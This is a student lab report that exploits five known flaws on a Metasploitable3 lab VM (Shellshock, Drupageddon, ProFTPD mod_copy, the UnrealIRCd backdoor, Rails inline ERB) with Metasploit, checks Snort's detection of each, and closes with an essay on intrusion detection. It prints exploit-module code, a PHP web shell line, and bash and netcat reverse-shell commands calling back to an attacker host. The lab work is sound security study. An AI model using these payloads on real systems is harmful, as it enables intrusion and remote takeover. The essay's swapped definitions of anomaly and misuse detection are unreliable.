40 KiB
Introduction
This report details 5 attacks on a Metasploitable3 Virtual Machine as well as elaborates the pros and cons of intrusion detection systems. For each attack, the report will explain the underlying vulnerability, which component is exploited, how the attack is performed, and whether or not Snort manages to identify the intrusion.
Snort Configuration
Initially, I installed snort and applied the configurations provided by the course material, i.e. snort.conf and snort.debian.conf. However, the provided snort.conf caused the following error when sudo service snort restart is run:
snort[4509]: FATAL ERROR: /etc/snort/rules/emerging-trojan.rules(42649) Unknown rule option: 'byte_math'.
Therefore, I commented out the include /etc/snort/rules/emerging-trojan.rules line in /etc/snort/snort.conf in order to make snort work. The rest of my snort.conf is the same as the file provided by the course.
Initial Nmap Scan
As a prerequisite to any attacks, I first performed an nmap scan at the target host (172.28.128.3) to detect open ports ranging from 0 to 65535:
> sudo nmap -sV -O 172.28.128.3 -p0-65535
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-05 22:47 EET
Nmap scan report for 172.28.128.3
Host is up (0.00036s latency).
Not shown: 65525 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.5
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.7
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
631/tcp open ipp CUPS 1.7
3000/tcp closed ppp
3306/tcp open mysql MySQL (unauthorized)
3500/tcp open http WEBrick httpd 1.3.1 (Ruby 2.3.8 (2018-10-18))
6697/tcp open irc UnrealIRCd
8080/tcp open http Jetty 8.1.7.v20120910
8181/tcp closed intermapper
MAC Address: 08:00:27:BF:79:2F (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Aggressive OS guesses: Linux 3.2 - 4.14 (98%), Linux 3.8 - 3.16 (97%), Linux 3.13 (94%), Linux 4.10 (94%), Android 8 - 9 (Linux 3.18 - 4.4) (94%), Linux 3.2 - 3.16 (94%), Linux 3.10 - 4.11 (93%), Linux 3.13 - 4.4 (93%), OpenWrt Chaos Calmer 15.05 (Linux 3.18) or Designated Driver (Linux 4.1 or 4.4) (93%), Android 5.0 - 6.0.1 (Linux 3.4) (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: Hosts: 127.0.2.1, METASPLOITABLE3-UB1404, irc.TestIRC.net; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 127.31 seconds
IDENTIFIED ATTACK 1: Apache mod_cgi Bash Environment Variable Code Injection (Shellshock)
Description
The target host has an Apache HTTP Server accessible on port 80 (Apache httpd 2.4.7). Apache servers sometimes allows CGI scripts to be executed based on user inputs from incoming HTTP requests. In our case, the Apache server on the target machine relies on Bash 4.3.8 to execute CGI scripts. This version of Bash is vulnerable to Shellshock, a Remote Code Execution vulnerability.
The component being attacked
When Apache uses Bash to execute a CGI script as requested by an incoming HTTP request, it passes the HTTP headers of the request as environment variables to Bash. If the value portion of an environment variable contained the string () { :;}; at the beginning, instead of treating the entire value portion as simply a string, Bash would execute whatever command inserted after () { :;};. This opens up an loophole for Remote Code Execution, since an attacker could craft an HTTP request with malicious commands inserted into the HTTP headers, which would then be executed by the Bash shell of the host machine. By making the target machine execute a command that would initiate a reverse shell back to the attacker, the attacker could gain remote control of the target host.
How the attack is performed in metasploit
To perform the attack, I used the exploit/multi/http/apache_mod_cgi_bash_env_exec module, available at the following directory:
/usr/share/metasploit-framework/modules/exploits/multi/http/apache_mod_cgi_bash_env_exec.rb
Most notably, the module contained the following lines of code:
def cve_2014_6271(cmd)
%Q{() { :;};echo -e "\\r\\n#{marker}$(#{cmd})#{marker}"}
end
The above function returns a string that represents the value portion of an HTTP header. This string would exploit the vulnerability to execute a given command cmd. Breaking down the string:
%Q{}in Ruby denotes a string that supports interpolation. In other words, we can substitute parts of the string with some other variables. The string itself is defined inside the brackets.() { :;};is the special prefix used to trigger the vulnerability.echo -e "\\r\\n#{marker}$(#{cmd})#{marker}"is the command to be executed. Particularly:echoprints some text to the terminal, with the-eflag enabling escape sequences e.g.\rand\n. The text printed to the terminal is also what the Apache server will send back to us in response to our malicious HTTP request."\\r\\n#{marker}$(#{cmd})#{marker}"is the string to be printed to the terminal. Inside this tring:'\\r\\nrefers to the cartridge return and the newline characters.#{marker}inserts the value of themarkervariable into the string. By prefixing and suffixing this uniquely generated marker to the string, we can identify the response of the server with the corresponding executed command.$(#{cmd})tells Bash to execute whatever is inside$()and append that to the string. In this case,#{cmd}is inside$(), and it refers to thecmdstring variable that contains the command we wish to execute on the target machine.
Running the exploit:
msf6 > use exploit/multi/http/apache_mod_cgi_bash_env_exec
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > show options
Module options (exploit/multi/http/apache_mod_cgi_bash_env_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
CMD_MAX_LENGTH 2048 yes CMD max line length
CVE CVE-2014-6271 yes CVE to check/exploit (Accepted: CVE-2014-6271, CVE-2014-6278)
HEADER User-Agent yes HTTP header to use
METHOD GET yes HTTP method to use
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPATH /bin yes Target PATH for binaries used by the CmdStager
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI yes Path to CGI script
TIMEOUT 5 yes HTTP read response timeout (seconds)
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on a
ll addresses.
SRVPORT 8080 yes The local port to listen on.
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 172.18.1.131 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Linux x86
View the full module info with the info, or info -d command.
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set RHOSTS 172.28.128.3
RHOSTS => 172.28.128.3
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set TARGETURI /cgi-bin/hello_world.sh
TARGETURI => /cgi-bin/hello_world.sh
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) >
[*] Started reverse TCP handler on 172.18.1.131:4444
[*] Command Stager progress - 100.00% done (1092/1092 bytes)
[*] Sending stage (1017704 bytes) to 172.18.1.131
[*] Meterpreter session 1 opened (172.18.1.131:4444 -> 172.18.1.131:36602) at 2025-03-06 23:20:18 +0200
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > sessions 1
[*] Starting interaction with 1...
meterpreter > shell
Process 4319 created.
Channel 1 created.
echo 'Pwned.'
Pwned.
=> Explanation: First, I told Metasploit to load the exploit/multi/http/apache_mod_cgi_bash_env_exec module. Then, I set RHOSTS to the target IP address, i.e. the IP address of the Virtual Machine on the local network, and TARGETURI to a CGI script on the target machine. Finally, I ran the exploit as a background job, and I successfully got remote shell access to the target.
Detection
As can be seen from the logs, Snort managed to not only detect the attack but also pinpoint the exact vulnerability of the exploit (CVE-2014-6271) and where the attack is coming from (172.28.128.1).
03/06-22:23:45.244155 [**] [1:2025869:2] ET WEB_SPECIFIC_APPS ELF file magic plain Inbound Web Servers Likely Command Execution 12 [**] [Classification: Attempted User Privilege Gain] [Priority: 1] {TCP} 172.28.128.1:42169 -> 172.28.128.3:80
03/06-22:23:45.244155 [**] [1:1336:5] WEB-ATTACKS chmod command attempt [**] [Classification: Web Application Attack] [Priority: 1] {TCP} 172.28.128.1:42169 -> 172.28.128.3:80
03/06-22:23:45.244155 [**] [1:100000122:1] COMMUNITY WEB-MISC mod_jrun overflow attempt [**] [Classification: Web Application Attack] [Priority: 1] {TCP} 172.28.128.1:42169 -> 172.28.128.3:80
03/06-22:23:45.507305 [**] [1:2022028:1] ET WEB_SERVER Possible CVE-2014-6271 Attempt [**] [Classification: Attempted Administrator Privilege Gain] [Priority: 1] {TCP} 172.28.128.1:37383 -> 172.28.128.3:80
IDENTIFIED ATTACK 2: Drupal HTTP Parameter Key/Value SQL Injection
Description
The Apache server on port 80 of the target host exposes a webpage created using Drupal at the /drupal endpoint. The version of Drupal on the target host, 7.5, does not sanitise HTTP parameters properly, allowing for the remote injection and execution of SQL commands.
The component being attacked
Exploiting the SQL injection vulnerability, an attacker can insert a form into the cache_form table, which stores partially completed forms. The form to be inserted would be maliciously crafted to contain PHP code which, once executed, would initiate a reverse shell to the attacker's machine. By sending an HTTP request that requests the injected form, the attacker can force the server to execute the malicious code embedded in it.
How the attack is performed in metasploit
To perform the attack, I used the exploit/multi/http/drupal_drupageddon module, available at the following directory:
/usr/share/metasploit-framework/modules/exploits/multi/http/drupal_drupageddon.rb
First, the module sends an HTTP POST request to the server to inject the malicious form:
send_request_cgi!({
'uri' => normalize_uri(target_uri.path),
'method' => 'POST',
'vars_post' => {
# Don't use 'user_login_block' as it may be disabled.
'form_id' => 'user_login',
'form_build_id' => '',
"name[0;#{sql}#]" => '',
# This field must be located *after* the injection.
"name[0]" => '',
'op' => 'Log in',
'pass' => Rex::Text.rand_text_alpha(8)
},
'vars_get' => {
'q' => 'user/login'
}
}, timeout=datastore['Wait'])
The function call sends an HTTP POST request to the /user/login endpoint. Importantly, the lines "name[0;#{sql}#]" => '', and 'pass' => Rex::Text.rand_text_alpha(8) construct the following malformed parameter in the HTTP request:
name[0; <sql>; -- ]=<pass>
In this malformed parameter, <sql> is our malicious SQL command to be executed, while <pass> is the value of Rex::Text.rand_text_alpha(8). The above parameter does not conform to valid HTTP syntax, causing Drupal to execute <sql>. The SQL command to be executed is constructed using the following function:
def sql_insert(id, value)
curlyopen = rand_text_alphanumeric(8)
curlyclose = rand_text_alphanumeric(8)
value.gsub!('{', curlyopen)
value.gsub!('}', curlyclose)
"INSERT INTO {cache_form} (cid, data, expire, created, serialized) " \
+ "VALUES ('#{id}', REPLACE(REPLACE('#{value}', '#{curlyopen}', " \
+ "CHAR(#{'{'.ord})), '#{curlyclose}', CHAR(#{'}'.ord})), -1, 0, 1);"
end
The above code inserts a new entry into the cache_form table. The data column of this entry is to be inserted with a PHP form containing malicious code. The malicious form might look as follows:
form = {
'#type' => 'form',
'#post_render' => ['php_eval'],
'#children' => '<?php system("bash -c 'bash -i >& /dev/tcp/10.150.172.38/4444 0>&1'"); ?>'
}.to_serialized_string
php_eval is a PHP function that executes a string of PHP code. By setting #post_render to ['php_eval'], we are telling Drupal to render the content of the form into an HTML string and execute that HTML string afterwards. The content of the form is the value of #children, which we have set to a string containing our malicious code. When Drupal renders this malicious form, it will execute malicious string, thus opening a reverse shell to 10.150.172.38, i.e. our (the attacker's) IP address, via port 4444.
Now, the reverse shell code does not automatically get executed when we inject the form into Drupal's cache_form table. To trigger the execution, the module sends another HTTP request to the web server, requesting the injected form as follows:
send_request_cgi!({
'uri' => normalize_uri(target_uri.path),
'method' => 'POST',
'vars_post' => {
'form_id' => 'user_login',
"form_build_id" => form_build_id,
"name" => Rex::Text.rand_text_alpha(10),
'op' => 'Log in',
'pass' => Rex::Text.rand_text_alpha(10)
},
'vars_get' => {
'q' => 'user/login'
}
})
The above code constructs an HTTP POST request to /user/login?form_build_id=<form_build_id>, where <form_build_id> corresponds to the id of the form inside the form_cache table. This id is also what we previously passed as an argument into the sql_insert function. When Drupal receives this HTTP request, it renders the form and executes our reverse shell code.
Running the exploit:
msf6 > use exploit/multi/http/drupal_drupageddon
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/http/drupal_drupageddon) > show options
Module options (exploit/multi/http/drupal_drupageddon):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The target URI of the Drupal installation
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.150.172.38 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Drupal 7.0 - 7.31 (form-cache PHP injection method)
View the full module info with the info, or info -d command.
msf6 exploit(multi/http/drupal_drupageddon) > set RHOSTS 172.28.128.3
RHOSTS => 172.28.128.3
msf6 exploit(multi/http/drupal_drupageddon) > set TARGETURI /drupal/
TARGETURI => /drupal/
msf6 exploit(multi/http/drupal_drupageddon) > exploit -j
[*] Exploit running as background job 6.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/http/drupal_drupageddon) >
[*] Started reverse TCP handler on 10.150.172.38:4444
[*] Sending stage (40004 bytes) to 10.150.172.38
[*] Meterpreter session 2 opened (10.150.172.38:4444 -> 10.150.172.38:43990) at 2025-03-07 01:02:25 +0200
msf6 exploit(multi/http/drupal_drupageddon) > sessions 2
[*] Starting interaction with 2...
meterpreter > shell
Process 4431 created.
Channel 0 created.
echo 'Pwned.'
Pwned.
=> Explanation: First, I told Metasploit to load the exploit/multi/http/drupal_drupageddon module. Then, I set RHOSTS to the target IP address and TARGETURI to the endpoint at which the vulnerable Drupal web application is exposed on the Apache server. Finally, I ran the exploit as a background job, and I successfully got remote shell access to the target.
Detection
During the attack, Snort detected an event of highest severity (Priority: 1) coming from (172.28.128.1), i.e. the attacker's IP address. Although Snort was not able to pinpoint exactly which kind of attack occurred, this abnormal event should be more than sufficient to catch the attention of a sysadmin, prompting them to further investigate the issue, which would naturally lead to the attack being discovered.
03/06-23:02:25.327336 [**] [1:2012887:2] ET POLICY HTTP POST contains pass= in cleartext [**] [Classification: Potential Corporate Privacy Violation] [Priority: 1] {TCP} 172.28.128.1:36793 -> 172.28.128.3:80
IDENTIFIED ATTACK 3: ProFTPD 1.3.5 Mod_Copy Command Execution
Description & The component being attacked
The target host has an FTP server accessible on port 21 (ProFTPD 1.3.5). This version of ProFTPD allows any client, even unauthenticated ones, to use the SITE CPFR/CPTO commands to copy any file on the FTP server's host to any location on its filesystem. On a ProFTPD server, the SITE CPFR command is used to specify the source file, while the SITE CPTO command is used to specify the destination file onto which the content of the source file is to be written. Crucially, ProFTPD does not properly sanitise file names being passed into SITE CPFR, causing invalid source file names that are literally PHP code to be treated as the content to be written onto a destination file itself. Thus, an attacker can abuse the SITE CPFR/CPTO commands to write a payload onto the filesystem of the target host and then trigger the payload's execution by requesting it via HTTP, thereby granting the attacker access to the target host via a reverse shell.
How the attack is performed in metasploit
To perform the attack, I used the exploit/unix/ftp/proftpd_modcopy_exec module, available at the following directory:
/usr/share/metasploit-framework/modules/exploits/unix/ftp/proftpd_modcopy_exec.rb
The exploit first copies the /proc/self/cmdline file to the .<?php passthru($_GET[\'#{get_arg}\']);?> file:
sock.puts("SITE CPFR /proc/self/cmdline\r\n")
sock.put("SITE CPTO #{datastore['TMPPATH']}/.<?php passthru($_GET[\'#{get_arg}\']);?>\r\n")
In the above code, get_arg is a randomly generated string. The exploit then makes another copy:
sock.put("SITE CPFR #{datastore['TMPPATH']}/.<?php passthru($_GET[\'#{get_arg}\']);?>\r\n")
sock.put("SITE CPTO #{datastore['SITEPATH']}/#{payload_name}\r\n")
Suppose that get_arg has the value abcde and payload_name has the value shell.php. Then, the above two commands would copy the file .<?php passthru($_GET[\'abcde\']);?> to shell.php. Crucially, since ProFTPD does not properly sanitise the source file name, it mistreats <?php passthru($_GET[\'abcde\']);?> as being the value of the source file itself and writes this value into shell.php. Moreover, since #{datastore['SITEPATH']} represents the directory whose files are exposed by the FTP server, the attacker can then trigger shell.php's execution by making an HTTP request to the file's endpoint:
uri = normalize_uri(target_uri.path, payload_name)
print_status("Executing PHP payload #{uri}")
res = send_request_cgi!(
'uri' => uri,
'vars_get' => { get_arg => "nohup #{payload.encoded} &" }
)
The above code would send the following HTTP GET request to the FTP server:
GET /shell.php?abcde=nohup <payload.encoded>&
shell.php would then be executed. When <?php passthru($_GET[\'abcde\']);?> is executed, it runs passthru($_GET[\'abcde\']), which in turn runs whatever value is passed into the abcde parameter, i.e. payload.encoded. If payload.encoded is a command like nc 172.28.128.1 4444 -e /bin/sh, that would get executed, thus granting the attacker access to a system via a reverse shell.
Running the exploit:
msf6 > use exploit/unix/ftp/proftpd_modcopy_exec
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > show options
Module options (exploit/unix/ftp/proftpd_modcopy_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 yes HTTP port (TCP)
RPORT_FTP 21 yes FTP port
SITEPATH /var/www yes Absolute writable website path
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Base path to the website
TMPPATH /tmp yes Absolute writable path
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.150.172.38 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 ProFTPD 1.3.5
View the full module info with the info, or info -d command.
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set RHOSTS 172.28.128.3
RHOSTS => 172.28.128.3
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set SITEPATH /var/www/html/
SITEPATH => /var/www/html/
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > exploit -j
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
msf6 exploit(unix/ftp/proftpd_modcopy_exec) >
[*] Started reverse TCP handler on 10.150.172.38:4444
[*] 172.28.128.3:80 - 172.28.128.3:21 - Connected to FTP server
[*] 172.28.128.3:80 - 172.28.128.3:21 - Sending copy commands to FTP server
[*] 172.28.128.3:80 - Executing PHP payload /H3yl9e.php
[+] 172.28.128.3:80 - Deleted /var/www/html//H3yl9e.php
[*] Command shell session 2 opened (10.150.172.38:4444 -> 10.150.172.38:36914) at 2025-03-29 02:23:42 +0200
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > sessions 2
[*] Starting interaction with 2...
echo 'Pwned.'
Pwned.
=> Explanation: First, I told Metasploit to load the unix/ftp/proftpd_modcopy_exec module. Then, I set RHOSTS to the target IP address and SITEPATH to the directory on the target host's filesystem in which the PHP payload will be written. SITEPATH must be a directory whose content are exposed by the Apache server to external clients so that the payload can be requested and triggered. Finally, I ran the exploit as a background job, and I successfully got remote shell access to the target.
Detection
As can be seen from the logs, Snort managed to detect a Web Application Attack of the highest severity (Priority: 1) coming from the IP address of the attacker (172.28.128.1).
03/29-00:30:35.190507 [**] [1:1365:5] WEB-ATTACKS rm command attempt [**] [Classification: Web Application Attack] [Priority: 1] {TCP} 172.28.128.1:46033 -> 172.28.128.3:80
03/29-00:30:35.190507 [**] [1:1360:5] WEB-ATTACKS netcat command attempt [**] [Classification: Web Application Attack] [Priority: 1] {TCP} 172.28.128.1:46033 -> 172.28.128.3:80
03/29-00:30:35.190507 [**] [1:2011465:6] ET WEB_SERVER /bin/sh In URI Possible Shell Command Execution Attempt [**] [Classification: Web Application Attack] [Priority: 1] {TCP} 172.28.128.1:46033 -> 172.28.128.3:80
MISSED ATTACK 1: UnrealIRCD 3.2.8.1 Backdoor Command Execution
Description & The component being attacked
The target host has an IRC Server accessible on port 6697 (UnrealIRCd). The version of UnrealIRCd running on the Metasploitable3 machine, 3.2.8.1, has a backdoor added to the source code. This backdoor allows any client to execute any command on the host machine with the privileges of the UnrealIRCd process by simply prefixing the malicious command with AB; and sending the concatenated string to UnrealIRCd.
How the attack is performed in metasploit
To perform the attack, I used the exploit/unix/irc/unreal_ircd_3281_backdoor module, available at the following directory:
/usr/share/metasploit-framework/modules/exploits/unix/irc/unreal_ircd_3281_backdoor.rb
The module sets up a TCP socket to the UnrealIRCd process on the target host and sends a malicious string to the process via this socket:
sock.put("AB;" + payload.encoded + "\n")
The backdoor recognises that this string is a command to be executed due to its AB; prefix and therefore executes payload.encoded. payload.encoded is a shell command that grants the attacker access to the system via a reverse shell.
Running the exploit:
msf6 > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show options
Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 6667 yes The target port (TCP)
Exploit target:
Id Name
-- ----
0 Automatic Target
View the full module info with the info, or info -d command.
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOSTS 172.28.128.3
RHOSTS => 172.28.128.3
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RPORT 6697
RPORT => 6697
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set PAYLOAD cmd/unix/reverse
PAYLOAD => cmd/unix/reverse
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set LHOST 172.18.1.131
LHOST => 172.18.1.131
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) >
[*] Started reverse TCP double handler on 172.18.1.131:4444
[*] 172.28.128.3:6697 - Connected to 172.28.128.3:6697...
:irc.TestIRC.net NOTICE AUTH :*** Looking up your hostname...
[*] 172.28.128.3:6697 - Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo U6vWMQr3aWym6fDZ;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "U6vWMQr3aWym6fDZ\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (172.18.1.131:4444 -> 172.18.1.131:50236) at 2025-03-07 01:23:20 +0200
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > sessions 1
[*] Starting interaction with 1...
echo 'Pwned.'
Pwned.
=> Explanation: First, I told Metasploit to load the unix/irc/unreal_ircd_3281_backdoor module. Then, I set RHOSTS to the target IP address, RPORT to the port on which UnrealIRCD is litening, PAYLOAD to the kind of reverse shell I want to open on the target, and LHOST to the IP address of my device, i.e. the attacker's device. Finally, I ran the exploit as a background job, and I successfully got remote shell access to the target.
Detection
Throughout the exploit, Snort was not able to detect any attack onto the system. The only event that it managed to capture was a miscellaneous activity, which was not even flagged as having highest priority:
03/06-23:23:13.217944 [**] [1:2000355:5] ET CHAT IRC authorization message [**] [Classification: Misc activity] [Priority: 3] {TCP} 172.28.128.3:6697 -> 172.28.128.1:44867
MISSED ATTACK 2: Ruby on Rails ActionPack Inline ERB Code Execution
Description & The component being attacked
The target host has a Ruby on Rails web application running on port 3500 (Ruby 2.3.8 (2018-10-18)). Ruby on Rails, a Model-View-Controller framework, makes use of Embedded Ruby (ERB) to allow developers to embed Ruby code inside HTML to dynamically generate webpage content. The vulnerability arises from the fact that Action Pack, the component inside Ruby on Rails responsible for the Controller layer, allows user-supplied JSON to be processed as inline ERB templates. In other words, if a user were to send a JSON object containing Ruby code to the Rails application, Rails would attempt to render that Ruby code into HTML, thereby executing it.
How the attack is performed in metasploit
To perform the attack, I used the exploit/multi/http/rails_actionpack_inline_exec module, available at the following directory:
/usr/share/metasploit-framework/modules/exploits/multi/http/rails_actionpack_inline_exec.rb
The exploit first crafts a JSON object that contains executable Ruby code:
def json_request
code = Rex::Text.encode_base64(payload.encoded)
return {
datastore['TARGETPARAM'] => {"inline" => "<%= eval(%[#{code}].unpack(%[m0])[0]) %>"}
}.to_json
end
With TARGETPARAM being set to the default value of id, the above code would return the following JSON:
{
"id": {
"inline": "<%= eval(%[#{code}].unpack(%[m0])[0]) %>"
}
}
Then, the exploit module sends the JSON object to the Rails application as the body to an HTTP request:
def exploit
print_status("Sending inline code to parameter: #{datastore['TARGETPARAM']}")
send_request_cgi({
'uri' => normalize_uri(target_uri.path),
'method' => 'GET',
'ctype' => 'application/json',
'headers' => {
'Accept' => 'application/json'
},
'data' => json_request
}, 25)
end
Upon receiving the above JSON, Rails would look up the value of the inline key and execute whatever code inside <%= %>, i.e. eval(%[#{code}].unpack(%[m0])[0]). This code essentially decodes code, which is a Base64 string, and then eval the result, i.e. execute it with privileges of the Rails process. When crafting the JSON object, the exploit module would naturally set code to be a Base64 encode of a shell command that initiates a reverse shell back to the attacker, e.g. nc 172.28.128.1 4444 -e /bin/sh.
Running the exploit:
msf6 exploit(multi/http/phpmyadmin_preg_replace) > use exploit/multi/http/rails_actionpack_inline_exec
[*] No payload configured, defaulting to generic/shell_reverse_tcp
msf6 exploit(multi/http/rails_actionpack_inline_exec) > show options
Module options (exploit/multi/http/rails_actionpack_inline_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.htm
l
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETPARAM id yes The target parameter to inject with inline code
TARGETURI / yes The path to a vulnerable Ruby on Rails application
VHOST no HTTP server virtual host
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.150.172.38 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
View the full module info with the info, or info -d command.
msf6 exploit(multi/http/rails_actionpack_inline_exec) > set RHOSTS 172.28.128.3
RHOSTS => 172.28.128.3
msf6 exploit(multi/http/rails_actionpack_inline_exec) > set RPORT 3500
RPORT => 3500
msf6 exploit(multi/http/rails_actionpack_inline_exec) > set TARGETPARAM os
TARGETPARAM => os
msf6 exploit(multi/http/rails_actionpack_inline_exec) > set TARGETURI /readme
TARGETURI => /readme
msf6 exploit(multi/http/rails_actionpack_inline_exec) > exploit -j
[*] Exploit running as background job 3.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/http/rails_actionpack_inline_exec) >
[*] Started reverse TCP handler on 10.150.172.38:4444
[*] Sending inline code to parameter: os
[*] Command shell session 3 opened (10.150.172.38:4444 -> 10.150.172.38:53212) at 2025-03-07 02:45:17 +0200
msf6 exploit(multi/http/rails_actionpack_inline_exec) > sessions 3
[*] Starting interaction with 3...
echo 'Pwned.'
Pwned.
=> Explanation: First, I told Metasploit to load the multi/http/rails_actionpack_inline_exec module. Then, I set RHOSTS to the target IP address, RPORT to the port on which the Rails application is listening, TARGETPARAM to the target HTTP parameter to inject with inline code, and TARGETURI to the endpoint of the Rails application that normally expects the TARGETPARAM HTTP parameter to be set to some value. In the case of Metasploitable3's application, the /readme endpoint expects os to be set to either windows or linux, i.e. /readme?os=windows or /readme?os=linux. Finally, I ran the exploit as a background job, and I successfully got remote shell access to the target.
Detection
Snort did not manage detect any attack or abnormal event throughout the entire time the exploit was being run. This is probably because the HTTP request containing the malicious JSON had completely valid syntax and therefore did not trigger any monitoring rules.
ESSAY: The benefits and shortcomings of using intrusion detection systems
This essay discusses the benefits and drawbacks of Intrusion Detection Systems (IDS), defined by the U.S. National Institute of Standards and Technology as being systems that automatically monitor events on a computer system or network and analyse them for potential security issues [1]. I will examine two main categories of IDS, i.e. Network IDS (NIDS) and Host IDS (HIDS) [3]. With regards to NIDS, the targets to be monitored are typically incoming and outgoing IP packets for a particular network [4]. HIDS, on the other hand, also monitor outgoing and incoming IP packets, but with the scale being the network interfaces of one particular host instead of an entire network, in addition to system files and logs [3].
IDS monitor systems or networks in real-time, allowing for intrusion attempts (or unusual activities at the very least) to be detected earlier [2]. Thus, rather than allowing intrusions to happen and only applying defensive mechanisms after damages have already been done, system administrators (sysadmins) can be informed to proactively take preventive measures against potential threats as soon as they arise. IDS mainly rely on anomaly detection and misuse detection as their strategies for detecting intrusions [5], and this is more efficient when done automatically rather than manually (e.g. by requiring a sysadmin to run top to look for potentially malicious processes on a Unix system). With anomaly detection, when analysing a particular IP packet or a file, the IDS looks for a signature, i.e. a pattern or string associated with a known vulnerability or exploit [5]. Thus, as long as the IDS uses an up-to-date signature database, attacks that have already been disclosed to the public are likely to be detected. When a known attack is detected, the IDS might be able to determine which vulnerabilities enabled the attack and which outdated software contained the vulnerabilities, prompting sysadmins to upgrade their components of their systems to newer versions which are known to be free from such vulnerabilities. Known attacks might also rely on misconfigurations of a system, in which case the IDS can also alert the sysadmins to take the necessary remedies [3]. With misuse detection, the IDS builds up profiles of expected behaviours for a particular network or system and reports events of significant deviations from expected behaviours to sysadmins [5]. This helps sysadmins recognise irregularities as they appear, which might prompt further investigations or defensive actions. An example of anomaly detection might be if an IDS for a web application detects an excessive number of failed login requests from a particular IP address, signalling a brute force attack. Based on this information, the sysadmin might decide to block that IP address from using the systems, for instance.
